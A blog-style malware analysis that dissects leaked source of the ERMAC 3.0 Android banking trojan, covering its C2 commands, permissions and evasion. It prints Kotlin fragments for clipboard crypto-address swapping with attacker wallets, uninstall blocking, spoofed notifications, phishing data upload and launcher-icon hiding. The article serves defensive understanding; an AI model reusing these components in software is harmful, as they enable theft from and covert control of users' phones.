So, I got my hands on the source code of the ERMAC 3.0 Android trojan. And you know what? I decided to dissect it piece by piece — not so you can go rob grandmas, but so you understand exactly how they're trying to rob you.
Disclaimer: This article is intended solely for educational purposes. If you decide to use this knowledge for anything illegal — you're an idiot, and I warned you.
TL;DR
ERMAC 3.0 is a banking Android trojan that disguises itself as food delivery apps and steals bank card data, crypto wallets, and SMS messages containing 2FA codes. It uses Accessibility Service to intercept input, swap crypto addresses in the clipboard, and block its own removal. It can display phishing windows over banking apps, steal seed phrases from MetaMask, Trust Wallet, and five other wallets, and send SMS messages to all your contacts. It won't run in CIS countries or on emulators — the authors don't shit where they eat. This article will be useful for security professionals, Android developers, and anyone who wants to understand how modern mobile threats work.
A Brief History: How COVID Spawned a Monster
Remember 2020? We were all stuck at home, ordering food through apps and grateful that at least pizza still arrived. Well, while you were choosing between Margherita and Four Cheese, someone very enterprising thought: "What if I stuffed a trojan into a fake delivery app?"
And they did.
ERMAC began its career exactly this way — disguised as food delivery services. The Polish CERT Orange documented one such case. Here's what the fake delivery site looked like:
Looks decent, right? Polish service, Estonian parent company. But when the CERT team looked up the domain — things got interesting:
Servers in Russia. For a Polish delivery service. With Estonian registration.
As the CERT team wrote: "An Estonian company with global presence on Russian servers? Even if it were profitable from a business standpoint, in this case business would lose due to geopolitics. A three-month SSL certificate and analytics exclusively on Yandex? No... no."
Indeed, no.
Source: cert.orange.pl
Anatomy of the Beast
Let's see what's inside this creature:
Android/
├── source/bot/src/main/java/com/amazon/zzz/
│ ├── MainActivity.kt # Entry point
│ ├── Payload.kt # Payload launcher
│ ├── Services/
│ │ ├── srvSccessibility.kt # Accessibility Service (trojan core)
│ │ ├── srvEndlessService.kt # Background service
│ │ └── srvLockDevice.kt # Device lock
│ ├── Modull/
│ │ ├── module.kt # C2 command handler
│ │ └── task/ # File manager, camera
│ ├── Receivers/ # SMS, Boot receivers
│ ├── Admin/ # Device Admin
│ └── ApiNm/ # C2 server communication
├── Obfuscapk/ # APK obfuscation
└── apktool.jar # Decompiler
Looks almost professional. Almost.
What This Trojan Can Do
The first thing ERMAC does on launch is check where it ended up:
if (utUtils.blockCIS(applicationContext) || utUtils.isRunningOnEmulator()) {
finish()
return
}
If you're from a CIS country or running on an emulator — the trojan politely exits. Patriots, for crying out loud. Don't shit where they eat.
Then the Accessibility Service magic begins. This is an Android API originally created to help people with disabilities. The trojan uses it to automatically click permission buttons, intercept everything you type, read your clipboard and swap crypto addresses, block attempts to remove it, disable Google Play Protect, and read all your push notifications.
Beautiful, isn't it?
Commands from the C2 Server
Here's the full list of what the trojan operator can do with your phone:
SMS and Calls:
sendsms— send SMSgetsms— steal all SMSsendsmsall— send SMS to all contactscalling— call a numberforwardcall— forward callsstartussd— execute USSD request
Data Theft:
getcontacts— steal contactsfmmanager— file managertakephoto— photograph you
Phishing and Injections:
startinject— display phishing window over an apppush— send fake notificationopenurl— open URL in browser
Bot Management:
startadmin— request admin privilegesdeleteapplication— delete an applicationkillme— self-destruct
Worth mentioning separately are special commands for stealing seed phrases from crypto wallets: Trust Wallet, MetaMask, Exodus, Mycelium, SafePal, Samourai, Blockchain.com. If you have crypto — they want it.
27 Permissions from Hell
The trojan requests 27 permissions. Let's look at the juiciest ones.
Dangerous permissions — those where you have to tap "Allow":
RECEIVE_SMS/READ_SMS/SEND_SMS— 2FA interception, reading messages, mass sendingREAD_CONTACTS— stealing contacts, mass sending to contact listGET_ACCOUNTS— stealing email accountsREAD_PHONE_STATE— IMEI, phone number, carrierCALL_PHONE— calls without your knowledge
Special permissions — require separate enabling in settings:
SYSTEM_ALERT_WINDOW— displaying phishing windows over appsREQUEST_INSTALL_PACKAGES— installing bot updatesREQUEST_DELETE_PACKAGES— removing antivirus softwareBIND_DEVICE_ADMIN— protection against removalBIND_ACCESSIBILITY_SERVICE— the core of the entire operation
The application also listens to 15+ system events: device boot, incoming SMS, screen on, battery level changes, app installation and removal...
Top 10 Elegant Solutions
Credit where it's due — some things are beautifully done. From a technical standpoint, of course.
1. Real-Time Crypto Address Swapping
var regex = Regex("\\b(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}") // BTC
var regex2 = Regex("\\b(0x)?[0-9a-fA-F]{40}") // ETH
private fun ClipboardManager.setClipBoard(str: String, event: AccessibilityEvent) {
if (str.contains(regex2)) {
val str = str.replace(regex2, "0x3Cf7d4A8D30035Af83058371f0C6D4369B5024Ca")
this.setPrimaryClip(ClipData.newPlainText(str, str))
event.source?.performAction(AccessibilityNodeInfo.ACTION_SET_TEXT, args)
}
}
Intercepts the moment you enter a crypto address, recognizes it with regex, and swaps it both in the clipboard and directly in the input field. You copy your address, paste it — but the attacker's address is already there. Elegant.
2. Multi-Level Removal Protection
private fun blockDeleteBots(packageName: String): Boolean {
if (className.contains("installedappdetailstop")) {
blockBack()
return true
}
if (packageName.contains("packageinstaller") && strText.contains(appName)) {
blockBack()
return true
}
if (className == "deviceadminadd" && isAdminDevice) {
blockBack()
return true
}
}
Intercepts removal attempts at three levels: in app settings, in the uninstall dialog, and when disabling admin rights. Try to delete it — you get kicked back.
3. Support for All Manufacturers
private fun clearCache2() {
if (manufacturer.contains("samsung")) { /* Samsung-specific */ }
else if (manufacturer.contains("xiaomi")) { /* MIUI-specific */ }
else if (manufacturer.contains("huawei")) { /* EMUI-specific */ }
else if (manufacturer.contains("oppo")) { /* ColorOS-specific */ }
// ...and so on for 10+ manufacturers
}
Adaptation for Samsung, Xiaomi, Huawei, Oppo, and ten more manufacturers. Each with their unique UI element IDs. Someone actually spent time testing.
4. Fake Push Notifications
fun sendNotification(mContext: Context, app: String, title: String?, text: String?) {
val icon = activity.loadIcon(pm)
bitmap = drawableToBitmap(icon!!)
notificationBuilder.setSmallIcon(Icon.createWithBitmap(bitmap))
notificationIntent.putExtra("startpush", app)
}
Dynamically loads the target app's icon and creates a notification indistinguishable from the real thing. Click it — a phishing page opens.
5. Double-Layer Encryption
One layer of AES-CBC for network traffic, another for string obfuscation in the APK. Separation of concerns, like in a proper project.
6. WebView Bridge for Injections
inner class WebAppInterface {
@JavascriptInterface
fun returnResult(data: String) {
val jsonObject = JSONObject()
jsonObject.put("application", nameInj)
jsonObject.put("data", data)
apiUt.sendLogs(mContext, nameInj, jsonObject.toString(), type)
}
}
Clean interface between HTML phishing and native code. Enter your card details in the fake window — they're instantly sent to the server.
7. Analyst Detection
fun blockCIS(context: Context): Boolean {
return "[ua][ru][by][tj][uz][tm][az][am][kz][kg][md]".contains(countrySIM(context))
}
fun isRunningOnEmulator(): Boolean {
return Build.FINGERPRINT.contains("generic")
|| Build.MODEL.contains("Emulator")
|| Build.MANUFACTURER.contains("Genymotion")
}
SIM card check for CIS countries plus emulator detection. Classic.
8. Dual-SIM Support
fun sendSms(context: Context, phoneNumber: String, message: String, simSlotIndex: Int = 0) {
val subscriptionInfo = subscriptionManager.getActiveSubscriptionInfoForSimSlotIndex(simSlotIndex)
SmsManager.getSmsManagerForSubscriptionId(subscriptionInfo.subscriptionId)
.sendTextMessage(phoneNumber, null, message, pendingIntent, deliveredPI)
}
Full dual-SIM support. The operator can choose which SIM to send SMS from.
9. Disappearing Icon
fun deleteLabelIcon(context: Context) {
val CTD = ComponentName(context, MainActivity::class.java)
context.packageManager.setComponentEnabledSetting(
CTD,
PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
PackageManager.DONT_KILL_APP
)
}
The icon disappears from the launcher, but the app keeps running. The victim doesn't even know anything is installed.
10. Recursive Element Search
fun findNodeWithClass(node: AccessibilityNodeInfo?, className: String): List<AccessibilityNodeInfo> {
val result = ArrayList<AccessibilityNodeInfo>()
for (i in 0 until node.childCount) {
val child = node.getChild(i)
if (child.className.toString().contains(className)) {
result.add(child)
} else {
result.addAll(findNodeWithClass(child, className))
}
}
return result
}
Universal UI tree traversal for finding any elements. Basic but necessary.
Top 10 Shameful Solutions
And now — why the authors of this trojan still won't get hired at any legitimate company.
1. Static IV in Encryption
private val IV: String by lazy { base64Decode("MDEyMzQ1Njc4OWFiY2RlZg==") }
// Decodes to: "0123456789abcdef"
The IV should be random for each message. Here it's static and predictable. Cryptography 101 failure.
2. Hardcoded Crypto Addresses
str.replace(regex2, "0x3Cf7d4A8D30035Af83058371f0C6D4369B5024Ca")
str.replace(regex, "bc1ql34xd8ynty3myfkwaf8jqeth0p4fxkxg673vlf")
Addresses right in the code. Any analyst will find them in seconds and add them to blacklists. Should come from the server.
3. Copy-Paste for 10 Screens
} else if (manufacturer.contains("samsung")) {
// 30 lines of code
} else if (manufacturer.contains("motorola")) {
// Same 30 lines
} else if (manufacturer.contains("oppo")) {
// Same 30 lines again
Same code repeated 10+ times with minimal changes. DRY? Never heard of it.
4. Empty Catch Blocks
} catch (e: Exception) {
// Nothing
}
Throughout the project. Errors are silently swallowed. Debugging hell.
5. Easter Eggs with Profanity
"Destroy_all_humanity" -> { File(...).delete() }
"Putin_is_handsome" -> { File(...).delete() }
"Die_whoever_reversed_this" -> { File(...).delete() }
Kindergarten stuff. These strings are ready-made indicators of compromise for any antivirus.
6. Russian Variables in Production
val cache_fuck by lazy { ... }
val bitch by lazy { ... }
val kill_everyone by lazy { ... }
val reset_all_humanity by lazy { ... }
val stupid_reversers_think_we_will_attack_these_apps = ...
Grep for Cyrillic — and there's your malware origin. Brilliant.
7. Duplicate Functions
// In utUtils.kt:
fun stopSound(context: Context) { ... }
// In udUtils.kt - IDENTICAL code:
fun stopSound(context: Context) { ... }
One function, two files, complete duplication. Why?
8. Magic Numbers
val number = c.getString(2) // What's 2?
val stexts = c.getString(12) // 12?
val text = c.getString(13) // 13?
Column indices without constants or comments. Brittle code that breaks with the first change.
9. Commented Code in Production
fun checkProtect(context: Context) {
try {
// SafetyNet.getClient(context)
// .isVerifyAppsEnabled
// .addOnCompleteListener { task ->
// ...
// }
} catch (ex: Exception) {
SharedPreferencess.checkProtect = "2"
}
}
20+ lines of commented code. The function does nothing.
10. Placeholders in Production
val url: String = if (BuildConfig.DEBUG) "http://10.0.2.2:3434" else "%INSERT_URL_HERE%"
val k: String = if (BuildConfig.DEBUG) "..." else "%INSERT_KEY_HERE%"
Forget to replace them — the bot doesn't work. No validation whatsoever.
Counting the Cash
Remember those hardcoded crypto addresses I criticized the authors for? Let's see how much they actually stole.
Bitcoin wallet: bc1ql34xd8ynty3myfkwaf8jqeth0p4fxkxg673vlf
Ethereum wallet: 0x3Cf7d4A8D30035Af83058371f0C6D4369B5024Ca
Total transaction volume — around two thousand dollars.
Two. Thousand. Dollars.
These guys wrote a trojan with 27 permissions, support for ten smartphone manufacturers, double-layer encryption, theft from seven crypto wallets, a PHP web builder — and earned less than a junior dev makes in their first month on probation.
This isn't even funny anymore. It's just sad.
Maybe that's why they couldn't land a real job?
Web Builder: Build a Trojan in 5 Minutes
The package includes a PHP web interface for building custom versions. Choose which app to disguise as:
- org.telegram.messenger (Telegram)
- com.facebook.katana (Facebook)
- com.instagram.android (Instagram)
- com.android.chrome (Chrome)
- com.google.android.youtube (YouTube)
- com.whatsapp (WhatsApp)
- com.zhiliaoapp.musically (TikTok)
Conclusion
From an architectural standpoint, it's clear: this is a one-shot project. Grab the cash and bail. No long-term planning, code written on the fly, half of it copy-paste, variables in Russian profanity.
But here's the thing — it works. Thousands of people have already lost money to trojans like this. Not because the code is good — but because people click "Allow" without reading, install apps from sketchy sources, and believe that a food delivery app really needs device administrator rights.
Don't be those people.
In upcoming parts, we'll dissect the PHP control panel for this zoo and try running it in a virtual machine.